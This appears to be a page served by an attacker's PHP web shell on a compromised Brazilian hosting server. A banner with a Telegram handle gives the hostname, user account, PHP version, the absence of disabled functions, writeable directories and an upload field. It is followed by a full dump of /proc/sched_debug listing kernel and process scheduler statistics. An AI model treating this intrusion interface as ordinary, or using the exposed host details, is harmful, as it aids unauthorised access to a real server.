https://t.me/AnonymousX5
Server : Apache
System : Linux vps-11451614.idig.com.br 3.10.0-1160.80.1.el7.x86_64 #1 SMP Tue Nov 8 15:48:59 UTC 2022 x86_64
User : qscolchoes ( 1033)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/sched_debug
Sched Debug Version: v0.11, 3.10.0-1160.80.1.el7.x86_64 #1
ktime                                   : 42771525749.641870
sched_clk                               : 42771496848.556822
cpu_clk                                 : 42771496848.556920
jiffies                                 : 47066193046
sched_clock_stable()                    : 1

sysctl_sched
  .sysctl_sched_latency                    : 24.000000
  .sysctl_sched_min_granularity            : 3.000000
  .sysctl_sched_wakeup_granularity         : 4.000000
  .sysctl_sched_child_runs_first           : 0
  .sysctl_sched_features                   : 40571
  .sysctl_sched_tunable_scaling            : 1 (logaritmic)

cpu#0, 2199.998 MHz
  .nr_running                    : 1
  .load                          : 149
  .nr_switches                   : 5645270433
  .nr_load_updates               : 7158730677
  .nr_uninterruptible            : -89066
  .next_balance                  : 47066.193273
  .curr->pid                     : 19766
  .clock                         : 42771496848.922963
  .cpu_load[0]                   : 145
  .cpu_load[1]                   : 145
  .cpu_load[2]                   : 147
  .cpu_load[3]                   : 151
  .cpu_load[4]                   : 145
  .avg_idle                      : 1000000
  .max_idle_balance_cost         : 500000

cfs_rq[0]:/system.slice
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 4689104665.604884
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -6869279101.493606
  .nr_spread_over                : 0
  .nr_running                    : 1
  .load                          : 1024
  .runnable_load_avg             : 1020
  .blocked_load_avg              : 8
  .tg_load_avg                   : 7033
  .tg_load_contrib               : 1028
  .tg_runnable_contrib           : 796
  .tg->runnable_avg              : 6570
  .throttled                     : 0
  .throttle_count                : 0
  .se->exec_start                : 42540265420.922963
  .se->vruntime                  : 11558383767.098490
  .se->sum_exec_runtime          : 3614652727.894099
  .se->load.weight               : 149
  .se->avg.runnable_avg_sum      : 36787
  .se->avg.runnable_avg_period   : 47002
  .se->avg.load_avg_contrib      : 150
  .se->avg.decay_count           : 40569558518

cfs_rq[0]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 11558383767.098490
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 0.000000
  .nr_spread_over                : 0
  .nr_running                    : 1
  .load                          : 149
  .runnable_load_avg             : 150
  .blocked_load_avg              : 385
  .tg_load_avg                   : 0
  .tg_load_contrib               : 0
  .tg_runnable_contrib           : 0
  .tg->runnable_avg              : 0
  .throttled                     : 0
  .throttle_count                : 0
  .avg->runnable_avg_sum         : 36871
  .avg->runnable_avg_period      : 47071

rt_rq[0]:/Imunify.slice/Scan.slice/aibolit.slice/rescan.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/Imunify.slice/Scan.slice/aibolit.slice/user.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/Imunify.slice/Scan.slice/aibolit.slice/background.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/Imunify.slice/Scan.slice/aibolit.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/Imunify.slice/Scan.slice/app_version_detector.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/Imunify.slice/Scan.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/Imunify.slice/Imunify-notifier.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/user.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/Imunify.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/system.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

runnable tasks:
            task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
----------------------------------------------------------------------------------------------------------
    kworker/0:0H     4      2154.671485         7   100         0.000000         0.047431         0.000000 0 /
     ksoftirqd/0     6 11558383734.559083  28398999   120         0.000000   1295092.720952         0.000000 0 /
     migration/0     7         0.000000  13669332     0         0.000000    264018.233590         0.000000 0 /
      watchdog/0    11         0.000000  10692884     0         0.000000    201023.019307         0.000000 0 /
         kswapd0    65 11557733932.502059   3099918   120         0.000000   4371974.099120         0.000000 0 /
    kworker/0:1H   454 11558228969.303798  51380581   100         0.000000   1045260.648423         0.000000 0 /
        ttm_swap   534      3379.788987         2   100         0.000000         0.017935         0.000000 0 /
          rpciod   600      3717.937620         2   100         0.000000         0.017943         0.000000 0 /
         xprtiod   601      3718.222994         2   100         0.000000         0.015898         0.000000 0 /
           loop0   750 11558295578.243907   3607201   100         0.000000    251579.893715         0.000000 0 /
             atd  9682 4688631165.776023      6574   120         0.000000       645.545912         0.000000 0 /system.slice
      irqbalance 10098 4689100145.264133   2388437   120         0.000000   2099152.441218         0.000000 0 /system.slice
              sh 13141  95277576.001334         3   120         0.000000         2.755664         0.000000 0 /user.slice
             php 14956 3365823940.930392  11257590   120         0.000000    653098.581084         0.000000 0 /user.slice
        gssproxy 10522 4188981577.718301         1   120         0.000000         0.045696         0.000000 0 /system.slice
         chronyd 29121 4689104518.256696   5461706   120         0.000000   6454753.782173         0.000000 0 /system.slice
            exim 30552 4689100101.468999    762987   120         0.000000    355310.878169         0.000000 0 /system.slice
            nscd 30908 4686894677.612804       235   120         0.000000        36.681135         0.000000 0 /system.slice
            nscd 17558 4689104617.954309    205103   120         0.000000     31009.264588         0.000000 0 /system.slice
            nscd 17561 4689104354.165967    205093   120         0.000000     31008.292844         0.000000 0 /system.slice
            nscd 17564 4689104561.363005    204987   120         0.000000     30828.217963         0.000000 0 /system.slice
            nscd 19212 4689104626.950558    204548   120         0.000000     31040.132945         0.000000 0 /system.slice
            nscd 15805 4689104391.349880    124793   120         0.000000     15194.864651         0.000000 0 /system.slice
          mysqld 25955 4689104585.396910    316025   120         0.000000     21619.541067         0.000000 0 /system.slice
          mysqld 25971 4689104369.388362    349384   120         0.000000     12714.511370         0.000000 0 /system.slice
          mysqld 25972 4689104593.286481    342716   120         0.000000     12212.191962         0.000000 0 /system.slice
          mysqld 21231 4689104650.816980      5286   120         0.000000      1744.799055         0.000000 0 /system.slice
          mysqld 26574 4689104595.797108      4325   120         0.000000      1402.420211         0.000000 0 /system.slice
             log 24409 4689104051.390066      5541   120         0.000000       474.549864         0.000000 0 /system.slice
       splitlogs 24515 4689104520.766124     19016   120         0.000000       913.391624         0.000000 0 /system.slice
  PassengerAgent 24542 4686100968.583748         2   120         0.000000         0.233453         0.000000 0 /system.slice
  PassengerAgent 24543 4686100158.292064         1   120         0.000000         0.132233         0.000000 0 /system.slice
  PassengerAgent 24564 4686100291.094895         1   120         0.000000         0.048680         0.000000 0 /system.slice
           httpd 24575 4689102423.837688       319   120         0.000000       148.958218         0.000000 0 /system.slice
           httpd 24577 4689087455.746015       324   120         0.000000       173.474648         0.000000 0 /system.slice
           httpd 24578 4689102211.379381       283   120         0.000000       145.230647         0.000000 0 /system.slice
           httpd 24583 4689085705.035261       306   120         0.000000       166.844019         0.000000 0 /system.slice
           httpd 24584 4689102714.256311       300   120         0.000000       158.074779         0.000000 0 /system.slice
           httpd 24593 4689084853.514621       259   120         0.000000       125.193320         0.000000 0 /system.slice
           httpd 24597 4689104617.855259     16079   120         0.000000       579.481021         0.000000 0 /system.slice
           httpd 24726 4689103182.382091       367   120         0.000000       166.652167         0.000000 0 /system.slice
           httpd 24739 4689103030.952626       353   120         0.000000       201.210287         0.000000 0 /system.slice
           httpd 24741 4689104354.956624       384   120         0.000000       231.248305         0.000000 0 /system.slice
           httpd 24748 4689104617.844008     16737   120         0.000000       621.950594         0.000000 0 /system.slice
           httpd 24779 4689100841.231711       944   120         0.000000       462.523845         0.000000 0 /system.slice
           httpd 24814 4689101786.224656       903   120         0.000000       442.866541         0.000000 0 /system.slice
           httpd 24821 4689102594.122026       961   120         0.000000       476.282997         0.000000 0 /system.slice
           httpd 24767 4689099401.915364       691   120         0.000000       350.270539         0.000000 0 /system.slice
           httpd 24813 4689104403.848881      1621   120         0.000000       757.060436         0.000000 0 /system.slice
     kworker/0:0 21112 11558383581.069658      5950   120         0.000000       534.578387         0.000000 0 /
     spamd child  9741 4689072548.606373       225   120         0.000000      1546.845131         0.000000 0 /system.slice
     kworker/0:2 19868 11556688690.193485         2   120         0.000000         0.015234         0.000000 0 /
            sshd 10996 4689060584.944584        15   120         0.000000         7.226740         0.000000 0 /system.slice
  cpanel_php_fpm 11189 4689095830.607750        94   120         0.000000       211.465591         0.000000 0 /system.slice
  cpanel_php_fpm 13519 4689100093.952994        25   120         0.000000       176.937847         0.000000 0 /system.slice
            exim 16938 4689103113.782722        27   120         0.000000        18.529322         0.000000 0 /system.slice
            auth 19566 4689103106.045734        24   120         0.000000        20.468253         0.000000 0 /system.slice
R        php-cgi 19766 4689104665.604884        12   120         0.000000        30.821982         0.000000 0 /system.slice

cpu#1, 2199.998 MHz
  .nr_running                    : 1
  .load                          : 138
  .nr_switches                   : 9444969899
  .nr_load_updates               : 10406220761
  .nr_uninterruptible            : 164205
  .next_balance                  : 47066.193514
  .curr->pid                     : 19744
  .clock                         : 42771496848.923513
  .cpu_load[0]                   : 134
  .cpu_load[1]                   : 134
  .cpu_load[2]                   : 134
  .cpu_load[3]                   : 139
  .cpu_load[4]                   : 143
  .avg_idle                      : 809545
  .max_idle_balance_cost         : 6356488

cfs_rq[1]:/system.slice
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 5979544999.194719
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -5578838767.903771
  .nr_spread_over                : 0
  .nr_running                    : 1
  .load                          : 1024
  .runnable_load_avg             : 464
  .blocked_load_avg              : 0
  .tg_load_avg                   : 7033
  .tg_load_contrib               : 464
  .tg_runnable_contrib           : 907
  .tg->runnable_avg              : 6570
  .throttled                     : 0
  .throttle_count                : 0
  .se->exec_start                : 42525604941.923513
  .se->vruntime                  : 13984804920.706180
  .se->sum_exec_runtime          : 4837065849.162360
  .se->load.weight               : 138
  .se->avg.runnable_avg_sum      : 41251
  .se->avg.runnable_avg_period   : 46410
  .se->avg.load_avg_contrib      : 67
  .se->avg.decay_count           : 40555577189

cfs_rq[1]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 13984804920.706180
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 2426421153.607690
  .nr_spread_over                : 0
  .nr_running                    : 1
  .load                          : 138
  .runnable_load_avg             : 67
  .blocked_load_avg              : 1196
  .tg_load_avg                   : 0
  .tg_load_contrib               : 0
  .tg_runnable_contrib           : 0
  .tg->runnable_avg              : 0
  .throttled                     : 0
  .throttle_count                : 0
  .avg->runnable_avg_sum         : 41430
  .avg->runnable_avg_period      : 46642

rt_rq[1]:/Imunify.slice/Scan.slice/aibolit.slice/rescan.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/Imunify.slice/Scan.slice/aibolit.slice/user.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/Imunify.slice/Scan.slice/aibolit.slice/background.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/Imunify.slice/Scan.slice/aibolit.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/Imunify.slice/Scan.slice/app_version_detector.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/Imunify.slice/Scan.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/Imunify.slice/Imunify-notifier.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/user.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/Imunify.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/system.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

runnable tasks:
            task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
----------------------------------------------------------------------------------------------------------
      watchdog/1    12        -2.994512  10692884     0         0.000000    199055.121194         0.000000 0 /
     migration/1    13         0.000000  13344972     0         0.000000    259510.476417         0.000000 0 /
     ksoftirqd/1    14 13984804746.917673  40591503   120         0.000000   2117054.460514         0.000000 0 /
    kworker/1:0H    16     15330.466805         9   100         0.000000         0.030291         0.000000 0 /
       kdevtmpfs    48      2908.091256       153   120         0.000000         1.709382         0.000000 0 /
           netns    49        68.128022         2   100         0.000000         0.017238         0.000000 0 /
     kintegrityd    52        92.172246         2   100         0.000000         0.012807         0.000000 0 /
          bioset    53       100.182178         2   100         0.000000         0.010464         0.000000 0 /
          bioset    54       108.190745         2   100         0.000000         0.009110         0.000000 0 /
          bioset    55       116.198996         2   100         0.000000         0.008787         0.000000 0 /
         kblockd    56       124.210143         2   100         0.000000         0.011690         0.000000 0 /
              md    57       132.226336         2   100         0.000000         0.017064         0.000000 0 /
     edac-poller    58       140.242848         2   100         0.000000         0.017137         0.000000 0 /
       watchdogd    59       148.257864         2   100         0.000000         0.015638         0.000000 0 /
            ksmd    66       204.548518         2   125         0.000000         0.018810         0.000000 0 /
          crypto    68       220.677057         2   100         0.000000         0.016401         0.000000 0 /
    kmpath_rdacd    78       300.957266         2   100         0.000000         0.016729         0.000000 0 /
          kaluad    79       308.978727         2   100         0.000000         0.022001         0.000000 0 /
       kpsmoused    80       314.991717         2   100         0.000000         0.013693         0.000000 0 /
         kauditd   135 13984783618.483442  41167283   120         0.000000    748760.558767         0.000000 0 /
   virtscsi-scan   284       574.284889         2   100         0.000000         0.008494         0.000000 0 /
 ext4-rsv-conver   752      3331.435219         2   100         0.000000         0.007408         0.000000 0 /
 cpdavd - accept  1516 5979318637.294191   1515552   120         0.000000   3049722.044843         0.000000 0 /system.slice
    kworker/1:1H  1624 13984765259.168756  66172734   100         0.000000   1400364.174065         0.000000 0 /
           crond 13011 185875905.877198         5   120         0.000000         6.486675         0.000000 0 /user.slice
           gmain 28147 2741151217.867560         5   120         0.000000         0.120986         0.000000 0 /system.slice
         polkitd 28149 2741151242.161578         1   120         0.000000         0.091339         0.000000 0 /system.slice
    JS GC Helper 28150 2741151254.284991         2   120         0.000000         0.123420         0.000000 0 /system.slice
 JS Sour~ Thread 28151 2741151266.510049         5   120         0.000000         0.123948         0.000000 0 /system.slice
         polkitd 28152 2741153163.215554         4   120         0.000000         0.187040         0.000000 0 /system.slice
     pdns_server  8477 5979522563.853857     12556   120         0.000000     14651.245035         0.000000 0 /system.slice
         rpcbind 10502 5979544053.016950    105533   120         0.000000      7268.412487         0.000000 0 /system.slice
         dovecot 31714 5979544411.255200   1902801   120         0.000000    162494.890169         0.000000 0 /system.slice
            nscd 30906 5979542869.695371     45800   120         0.000000      8143.374346         0.000000 0 /system.slice
            nscd 30913 5979544892.346893    216474   120         0.000000     32901.816826         0.000000 0 /system.slice
            nscd 15801 5979544894.672280    124764   120         0.000000     15159.776243         0.000000 0 /system.slice
 cpanellogd - sl 31086 5979327708.811160     13211   138         0.000000      4947.645939         0.000000 0 /system.slice
          mysqld 26202 5979544543.962448    982037   120         0.000000    242017.380686         0.000000 0 /system.slice
          mysqld 26215 5935121197.583232         1   120         0.000000         0.071385         0.000000 0 /system.slice
          mysqld 31032 5979544724.919095      3856   120         0.000000      1217.707869         0.000000 0 /system.slice
      pop3-login 24407 5979520833.194643       288   120         0.000000        86.179626         0.000000 0 /system.slice
          config 24412 5979544400.263244      3708   120         0.000000      1112.210374         0.000000 0 /system.slice
    leechprotect 24522 5976508804.593289         3   120         0.000000       101.962928         0.000000 0 /system.slice
           httpd 24573 5979531676.566888       301   120         0.000000       176.456832         0.000000 0 /system.slice
           httpd 24586 5979527167.607449       309   120         0.000000       164.945046         0.000000 0 /system.slice
           httpd 24590 5979543026.659535       320   120         0.000000       165.606767         0.000000 0 /system.slice
           httpd 24596 5979528156.233371       383   120         0.000000       173.136788         0.000000 0 /system.slice
           httpd 24727 5979544158.966459       387   120         0.000000       198.258675         0.000000 0 /system.slice
           httpd 24737 5979522563.005336       391   120         0.000000       188.036917         0.000000 0 /system.slice
           httpd 24738 5979543056.560098       380   120         0.000000       199.442215         0.000000 0 /system.slice
           httpd 24740 5979531279.424739       333   120         0.000000       175.253739         0.000000 0 /system.slice
           httpd 24745 5979543002.545263       401   120         0.000000       232.068885         0.000000 0 /system.slice
           httpd 24787 5979540594.365077       901   120         0.000000       413.986138         0.000000 0 /system.slice
           httpd 24811 5979538663.236856       977   120         0.000000       528.435410         0.000000 0 /system.slice
           httpd 24825 5979541767.993581      1002   120         0.000000       484.978500         0.000000 0 /system.slice
           httpd 24754 5979544186.969051       674   120         0.000000       357.677721         0.000000 0 /system.slice
           httpd 24756 5979539791.396999       676   120         0.000000       360.102964         0.000000 0 /system.slice
           httpd 24763 5979539919.602685       611   120         0.000000       294.013672         0.000000 0 /system.slice
           httpd 24769 5979538996.221999       646   120         0.000000       336.812601         0.000000 0 /system.slice
           httpd 24777 5979543348.837048       652   120         0.000000       342.518150         0.000000 0 /system.slice
           httpd 24786 5979535998.320944       669   120         0.000000       337.877760         0.000000 0 /system.slice
           httpd 24782 5979543961.725744      1629   120         0.000000       738.390682         0.000000 0 /system.slice
           httpd 24783 5979544299.157269      1454   120         0.000000       676.583979         0.000000 0 /system.slice
           httpd 24802 5979544846.339211      1540   120         0.000000       754.031560         0.000000 0 /system.slice
           httpd 24810 5979544595.366803      1617   120         0.000000       789.304486         0.000000 0 /system.slice
           httpd 24815 5979544867.611911      1573   120         0.000000       766.602668         0.000000 0 /system.slice
     kworker/1:2 27175 13984782669.046635         8   120         0.000000         0.098258         0.000000 0 /
     kworker/1:1 26273 13984804644.493369      9956   120         0.000000       384.921986         0.000000 0 /
           lsphp 16165 5979544300.169072      1276   120         0.000000       595.380460         0.000000 0 /system.slice
 webmaild - serv 13467 5979540235.436891        25   120         0.000000        75.708881         0.000000 0 /system.slice
     kworker/1:0 18903 13984782681.025118         2   120         0.000000         0.025984         0.000000 0 /
            imap 19570 5979544847.348576        13   120         0.000000         8.852629         0.000000 0 /system.slice
R          lsphp 19744 5979544999.194719        15   120         0.000000        36.626620         0.000000 0 /system.slice

cpu#2, 2199.998 MHz
  .nr_running                    : 1
  .load                          : 149
  .nr_switches                   : 7761199604
  .nr_load_updates               : 9509963827
  .nr_uninterruptible            : 391461
  .next_balance                  : 47066.193289
  .curr->pid                     : 19768
  .clock                         : 42771496848.923912
  .cpu_load[0]                   : 145
  .cpu_load[1]                   : 145
  .cpu_load[2]                   : 134
  .cpu_load[3]                   : 120
  .cpu_load[4]                   : 108
  .avg_idle                      : 1000000
  .max_idle_balance_cost         : 500000

cfs_rq[2]:/user.slice
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 317748216.269227
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -11240635550.829263
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_load_avg             : 0
  .blocked_load_avg              : 0
  .tg_load_avg                   : 0
  .tg_load_contrib               : 0
  .tg_runnable_contrib           : 0
  .tg->runnable_avg              : 0
  .throttled                     : 0
  .throttle_count                : 0
  .se->exec_start                : 42543662106.006665
  .se->vruntime                  : 14495942134.450776
  .se->sum_exec_runtime          : 43571257.454269
  .se->load.weight               : 2
  .se->avg.runnable_avg_sum      : 28
  .se->avg.runnable_avg_period   : 47123
  .se->avg.load_avg_contrib      : 0
  .se->avg.decay_count           : 40572797877

cfs_rq[2]:/system.slice
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 6189448651.107295
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -5368935115.991195
  .nr_spread_over                : 0
  .nr_running                    : 1
  .load                          : 1024
  .runnable_load_avg             : 1023
  .blocked_load_avg              : 0
  .tg_load_avg                   : 7033
  .tg_load_contrib               : 1023
  .tg_runnable_contrib           : 781
  .tg->runnable_avg              : 6570
  .throttled                     : 0
  .throttle_count                : 0
  .se->exec_start                : 42543662155.923912
  .se->vruntime                  : 14495942355.701586
  .se->sum_exec_runtime          : 5038148490.762336
  .se->load.weight               : 149
  .se->avg.runnable_avg_sum      : 35527
  .se->avg.runnable_avg_period   : 46239
  .se->avg.load_avg_contrib      : 148
  .se->avg.decay_count           : 40572797916

cfs_rq[2]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 14495942355.701586
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 2937558588.603096
  .nr_spread_over                : 0
  .nr_running                    : 1
  .load                          : 149
  .runnable_load_avg             : 148
  .blocked_load_avg              : 585
  .tg_load_avg                   : 0
  .tg_load_contrib               : 0
  .tg_runnable_contrib           : 0
  .tg->runnable_avg              : 0
  .throttled                     : 0
  .throttle_count                : 0
  .avg->runnable_avg_sum         : 36172
  .avg->runnable_avg_period      : 47092

rt_rq[2]:/Imunify.slice/Scan.slice/aibolit.slice/rescan.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[2]:/Imunify.slice/Scan.slice/aibolit.slice/user.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[2]:/Imunify.slice/Scan.slice/aibolit.slice/background.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[2]:/Imunify.slice/Scan.slice/aibolit.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[2]:/Imunify.slice/Scan.slice/app_version_detector.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[2]:/Imunify.slice/Scan.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[2]:/Imunify.slice/Imunify-notifier.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[2]:/user.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[2]:/Imunify.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[2]:/system.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[2]:/
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

runnable tasks:
            task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
----------------------------------------------------------------------------------------------------------
        kthreadd     2 14495913828.363805    238752   120         0.000000     19796.149048         0.000000 0 /
          rcu_bh     8 14495913705.846191   1744739   120         0.000000     19393.796603         0.000000 0 /
       rcu_sched     9 14495942336.806550 14508573270   120         0.000000 179762475.480397         0.000000 0 /
      watchdog/2    17        -5.996167  10692884     0         0.000000    189017.739614         0.000000 0 /
     migration/2    18         0.000000  13652419     0         0.000000    251362.925151         0.000000 0 /
     ksoftirqd/2    19 14495942188.577207  36849076   120         0.000000   2047706.300808         0.000000 0 /
    kworker/2:0H    21       895.670413         8   100         0.000000         0.031107         0.000000 0 /
       scsi_eh_1   282       239.475043         4   120         0.000000         1.074116         0.000000 0 /
 ext4-rsv-conver   311       368.276449         2   100         0.000000         0.019940         0.000000 0 /
    kworker/2:1H   455 14495910866.936432  42473002   100         0.000000    871297.979354         0.000000 0 /
     dbus-daemon   649 6189443888.189344  76139335   120         0.000000  11833040.973456         0.000000 0 /system.slice
          python  1500 6189424549.391338   2604223   120         0.000000   2088980.926199         0.000000 0 /system.slice
 cPhulkd - proce 16498 6189447877.117562  10674906   120         0.000000   8656076.309204         0.000000 0 /system.slice
          screen  2786 814753667.101474       319   120         0.000000         9.385612         0.000000 0 /system.slice
             php 10572 317748205.007890  30079046   120         0.000000   1715835.599407         0.000000 0 /user.slice
           crond 13134 210578581.620530         9   120         0.000000         5.747534         0.000000 0 /user.slice
         polkitd 28146 6189443472.566941   8142167   120         0.000000    763556.245660         0.000000 0 /system.slice
           crond 14941 228752419.533277         7   120         0.000000         5.806589         0.000000 0 /user.slice
 pdns/carbonDump  8485 6189447839.291821   3165675   120         0.000000    123567.350829         0.000000 0 /system.slice
            sshd 29385 6189416272.824681    114316   120         0.000000     45233.742885         0.000000 0 /system.slice
            nscd 24060 6189448579.484451    210194   120         0.000000     31944.653120         0.000000 0 /system.slice
            nscd 17563 6189448630.123709    205118   120         0.000000     31185.394012         0.000000 0 /system.slice
             p0f 31081 6189448635.203355  77290828   120         0.000000   2803627.654308         0.000000 0 /system.slice
      run-script 23451 6189447845.081690    234731   120         0.000000    118521.045515         0.000000 0 /system.slice
          mysqld 25967 6189448231.077457    338123   120         0.000000     12319.477815         0.000000 0 /system.slice
          mysqld 25968 6189448595.818928    432925   120         0.000000     15494.900089         0.000000 0 /system.slice
